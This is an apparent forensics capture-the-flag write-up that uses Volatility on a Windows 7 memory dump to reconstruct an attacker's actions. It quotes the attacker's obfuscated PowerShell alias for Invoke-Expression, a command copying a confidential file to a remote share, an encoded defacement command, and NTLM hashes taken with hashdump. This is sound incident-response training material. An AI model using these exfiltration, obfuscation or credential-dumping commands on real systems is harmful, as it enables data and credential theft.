## Sherlock Scenario

A junior member of our security team has been performing research and testing on what we believe to be an old and insecure operating system. We believe it may have been compromised & have managed to retrieve a memory dump of the asset. We want to confirm what actions were carried out by the attacker and if any other assets in our environment might be affected. Please answer the questions below.

What is the Operating System of the machine?

python3 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin windows.info

```
[/usr/share/volatility3]
   python3 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin windows.info
Volatility 3 Framework 2.6.0
                                PDB scanning finished
Progress: 100.00
                Value
Variable
Kernel Base
                0×f8000285c000
Symbols file:///usr/share/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/DADDB88936DE450292977378F364B110-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdDebuggerDataBlock 0×f80002a3f120
NTBuildLab 7601.24214.amd64fre.win7sp1_ldr_
CSDVersion
KdVersionBlock 0×f80002a3f0e8
Major/Minor 15.7601
MachineType 34404
KeNumberProcessors
SystemTime 2022-12-19 16:07:30
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 6
NtMinorVersion 1
PE MajorOperatingSystemVersion 6
PE MinorOperatingSystemVersion 1
PE Machine
              34404
PE TimeDateStamp Thu Aug 2 02:18:10 2018
```

Windows 7

When was the memory dump created? 2022-12-19 16:07:30

After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command?

used volatility2 and ran clipboard with profile from image info

```
[/usr/share/volatility]
   python2 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin --profile=Win7SP1×64 clipboard
Volatility Foundation Volatility Framework 2.6.1
Session
         WindowStation Format
                                                     Handle Object
                                                                               Data
                      CF_UNICODETEXT
        1 WinSta0
                                                   0×6b010d 0×fffff900c1bef100 (gv '*MDR*').naMe[3,11,2]-joIN''
        1 WinSta0
                      CF_TEXT
                                               0×7400000000 -
                                                   0×7d02bd 0×ffffff900c209a260
        1 WinSta0
                       CF_LOCALE
        1 WinSta0
                       0×0L
                                                        0×0
 (gv '*MDR*').naMe[3,11,2]-joIN''
```

The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet

iex = Invoke-Expression

name?

## Got this using volatility2 consoles

python2 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin -profile=Win7SP1x64 consoles

```
PS C:\Users\user> type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171
\pulice\pass.txt
The network path was not found.
At line:1 char:47
+ type C:\Users\Public\Secret\Confidential.txt > <<< \\192.168.0.171\pulice\p
ass.txt
+ CategoryInfo : OpenError: (:) [], IOException
+ FullyQualifiedErrorId : FileOpenFailure</pre>
```

type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt

Following the above command, now tell us if the file was exfiltrated successfully? NO!

The attacker tried to create a readme file. What was the full path of the file?

echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"

```
CommandHistory: 0*1bdab0 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0*60
Cmd #0 at 0*d7980: gv '*MDR*').naMe[3,11,2]-joIN''
Cmd #1 at 0*d79d0: (gv '*MDR*').naMe[3,11,2]-joIN''
Cmd #2 at 0*1bc560: net users
Cmd #3 at 0*1be6e0: powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
Cmd #4 at 0*d7a20: (gv '*MDR*').naMe[3,11,2]-joIN''

(kali® kali)-[~/Documents/sherlocks/recollection]
$ echo 'ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi' | base64 -d
```

C:\Users\Public\Office\readme.txt

What was the Host Name of the machine? USER-PC

python2 vol.py hivelist -f /home/kali/Documents/sherlocks/recollection/recollection.bin --profile=Win7SP1x64

```
)-[/usr/share/volatility]
   python2 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin --profile=Win7SP1×64 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual
                   Physical
                                       Name
0×fffff8a004266010 0×000000009a90f010 \Device\HarddiskVolume1\Boot\BCD
0×fffff8a004a41010 0×000000009df13010
                                       \SystemRoot\System32\Config\DEFAULT
0×fffff8a004a57010 0×000000009ddb9010 \SystemRoot\System32\Config\SAM
0×fffff8a00000d190 0×00000000a9882190 [no name]
0×fffff8a000024010 0×00000000a96fa010 \REGISTRY\MACHINE\SYSTEM
0×fffff8a00004f010 0×00000000a9725010 \REGISTRY\MACHINE\HARDWARE
0×fffff8a0006d4010 0×0000000081300010 \SystemRoot\System32\Config\SECURITY
0 \times ffffff8a \\ 000733010 \\ 0 \times 000000000a1 \\ d49010 \\ \SystemRoot \\ System32 \\ \Config \\ \SOFTWARE
0×fffff8a000ca4010 0×000000009f5fb010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0×fffff8a000d35010 0×00000000976ff010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0×fffff8a00125b010 0×0000000083a0c010 \??\C:\Users\user\ntuser.dat
0×fffff8a0012e3010 0×000000007cb5d010 \??\C:\Users\user\AppData\Local\Microsoft\Windows\UsrClass.dat
0×ffffff8a00257e010 0×0000000106fd2010 \??\C:\System Volume Information\Syscache.hve
```

python2 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ComputerName'

This will get the hostname USER=PC

How many user accounts were in the machine?

3

python2 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin --profile=Win7SP1x64 hashdump - v 0xfffff8a000024010 -s 0xfffff8a004a57010

```
(rect@ kali) - [/usr/share/volatility]
# python2 vol.py -f /home/kali/locuments/sherlocks/recollection/recollection.bin -- profile=Win7SP1×64 hashdump -y 0×fffff8a000024010 -s 0×fffff8a004a57010
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:aad3b435b51404eeaad3b435b51404ee:10eca58175d4228ece151e287086e824:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user:1001:aad3b435b51404eeaad3b435b51404ee:5915a7959c04d8560468296edaefbc9b:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:cb6003ecf6b98b5f7fbbb03df798ac76:::
```

needed to get virtual offset of system and sam to get hashes from the hivelist

In the "\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge" folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path?

filescan to get passwords.txt

A malicious executable file was executed using command. The executable EXE file's name was the hash value of itself. What was the hash value?

```
PS C:\Users\user> cd .\Downloads
PS C:\Users\user\Downloads> ls
    Directory: C:\Users\user\Downloads
Mode
                    LastWriteTime
                                       Length Name
                                       420864 b0ad704122d9cffddd57ec92991a1e99fc
             12/19/2022
                           2:59 PM
                                              lac02d5b4d8fd31720978c02635cb1.exe
-a-
             12/19/2022
                           9:00 PM
                                       313152 b0ad704122d9cffddd57ec92991a1e99fc
                                              1ac02d5b4d8fd31720978c02635cb1.zip
             12/19/2022
                           9:00 PM
                                       205646 bf9e9366489541153d0e2cd21bdae11591
                                              f6be48407f896b75e1320628346b03.zip
             12/19/2022
                           3:00 PM
                                       309248 csrsss.exe
             12/17/2022
                           4:16 PM
                                      5885952 wazuh-agent-4.3.10-1.msi
-a∙
```

b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

Following the previous question, what is the Imphash of the malicous file you found above?

## Basic properties ① MD5 a30321ef61b1ffedb24adeb49cc8ef9c SHA-1 d4702c8d69901b7a3bce553921d6f1488ee177d9 SHA-256 b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1 Vhash 0450466d756517z1005cnz1fz b8aacb7cc320c6164fe9fca601c0f9e46f6424ab5ef4b00f0b0da14ba564a5f8 Authentihash d3b592cd9481e4f053b5362e22d61595 Imphash Rich PE header hash... 9437530477347db8e7a066046c3dc8ff SSDEEP 6144:MCzL2apuqkF2maASLf5EvGl5oyt8jRs3qUAO4+gKRHY46vy20+7H4rWlRjO1n:Miia... TLSH T16994E120F2A3F431C5524573B8E6CB96DA2EBB105A27850727662EDF1DF04908BA5... File type Win32 EXE executable windows win32 Magic PE32 executable (GUI) Intel 80386, for MS Windows TrID Win32 Executable MS Visual C++ (generic) (47.3%) Win64 Executable (generic) (15.9... DetectItEasy PE32 | Compiler: EP:Microsoft Visual C/C++ (2008-2010) [EXE32] | Compiler: Microso... 411.00 KB (420864 bytes) File size

d3b592cd9481e4f053b5362e22d61595

Following the previous question, tell us the date in UTC format when the malicious file was created?

History ①		
Creation Time First Submission Last Submission Last Analysis	2022-06-22 11:49:04 UTC 2022-12-19 14:39:42 UTC 2024-02-12 05:49:59 UTC 2024-02-23 14:51:32 UTC	

2022-06-22 11:49:04

## What was the local IP address of the machine?

0×11+d21cd0	0×11ff3b3d0 0×11ff3b3d0 0×11ff9c4d0 0×11f8395c0 0×11fbd4570 0×11fbe1010 0×11fd21cd0	TCPv4 TCPv6 TCPv4 TCPv4 TCPv4 TCPv4 TCPv4	0.0.0.0:2869 :::2869 0.0.0.0:554 192.168.0.104:49323 192.168.0.104:49340 192.168.0.104:49326 192.168.0.104:49341	0.0.0.0:0 :::0 0.0.0.0:0 199.232.46.132:443 23.47.190.91:443 198.144.120.23:80 198.144.120.23:443	LISTENING LISTENING LISTENING ESTABLISHED ESTABLISHED CLOSED CLOSE_WAIT	4 4 2652 -1 -1 -1	System System wmpnetwk.exe
-------------	---	---	--	---	---	----------------------------------	----------------------------------

192.168.0.104

There were multiple PowerShell processes, where one process was a child process. Which process was its parent process?

. 0×fffffa8003cbc060:cmd.exe 4052 2032 1 23 2022-12-19 15:40:08 UTC+000		·							
0×fffffa8005abbb00:powershell.exe 3532 4052 5 606 2022-12-19 15:44:44 UTC+000	ı	. 0×fffffa8003cbc060:cmd.exe	4052	2032	1	23	2022-12-19	15:40:08	UTC+0000
	ı	0×fffffa8005abbb00:powershell.exe	3532	4052	5	606	2022-12-19	15:44:44	UTC+0000
. 0×fffffa8003d6b060:powershell.exe 3688 2032 5 367 2022-12-19 15:43:39 UTC+000	ı	. 0×fffffa8003d6b060:powershell.exe	3688	2032	5	367	2022-12-19	15:43:39	UTC+0000
0×fffffa80036ef040:System 4 0 81 519 2022-12-19 15:32:28 UTC+000	ı	0×fffffa80036ef040:System	4	0	81	519	2022-12-19	15:32:28	UTC+0000

cmd.exe

python2 vol.py -f /home/kali/Documents/sherlocks/recollection/recollection.bin -- profile=Win7SP1x64 memdump -p 2380 -D /home/kali/Documents/sherlocks/recollection/strings 2380.dmp | grep -E '\b[A-Za-z0-9.\_%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'

```
(kali@ kali)-[~/Documents/sherlocks/recollection]
$ strings 2380.dmp | grep -E '\b[A-Za-z0-9._%+-]+\a[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'
emailmafia_code1337agmail.commafia_code1337agmail.com
= emailmafia_code1337agmail.com
= emailmafia_code1337agmail.com
U=a65bded5-284b-407b-86df-db3050f7f451mafia_code1337agmail.com
emailmafia_code1337agmail.comEmail address or phone number683a39dc-88c1-4616-b397-6feea0cc0aeafacebook.com6368385652420695719420638584c
https://www.verisign.com; by E-mail at CPS-requests@verisign.com; or
htt
```

mafia code1337@gmail.com

Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution's name? strings 2380.dmp | grep -Eo '\bhttps?://[^[:space:]]+' | uniq | grep "bing"

```
203-aa9525ed6e72&psq=malwarebazaar&u=a1aHR0cHM6Ly9iYXphYXIuYWJ1c2UuY2gv&ntb=1
https://www.bing.com/search?q=install+wazuh+agent+windows&cvid=1cd1decfefee44308a63
b7-6f49-3203-aa9525ed6e72&psq=install+wazuh+agent+windows&u=a1aHR0cHM6Ly9kb2N1bWVud
https://www.bing.com/search?q=base64+encode&cvid=45ced78c702743d6a4d37add75db9d6a&a
https://www.bing.com/search?q=7+zip+windows+7&go=Search&qs=ds&form=QBRE
```

Wazuh

The victim user downloaded an exe file. The file's name was mimicking a legitimate binary from Microsoft with a typo (i.e. legitimate binary is powershell.exe and attacker named a malware as powershall.exe). Tell us the file name with the file extension?

```
PS C:\Users\user> cd .\Downloads
PS C:\Users\user\Downloads> ls
    Directory: C:\Users\user\Downloads
Mode
                    LastWriteTime
                                       Length Name
             12/19/2022
                           2:59 PM
                                       420864 b0ad704122d9cffddd57ec92991a1e99fc
                                              1ac02d5b4d8fd31720978c02635cb1.exe
             12/19/2022
                                       313152 b0ad704122d9cffddd57ec92991a1e99fc
                           9:00 PM
                                              lac02d5b4d8fd31720978c02635cb1.zip
             12/19/2022
                           9:00 PM
                                       205646 bf9e9366489541153d0e2cd21bdae11591
-a-
                                              f6be48407f896b75e1320628346b03.zip
             12/19/2022
                           3:00 PM
                                       309248 csrsss.exe
-a-
             12/17/2022
                           4:16 PM
                                      5885952 wazuh-agent-4.3.10-1.msi
-a-
```

The Client/Server Runtime Subsystem, or csrss.exe, is a component of the Windows NT family of operating systems that provides the user mode side of the Win32 subsystem. In modern versions of Windows, it is primarily involved with process and thread management, console window handling, side-by-side assembly loading and the shutdown process. Historically, it had also been responsible for window management and graphics rendering, however, these operations have been moved to kernel mode starting with Windows NT 4.0 to improve performance.<sup>[1]</sup>

last one is csrsss.exe in the user\downloads folder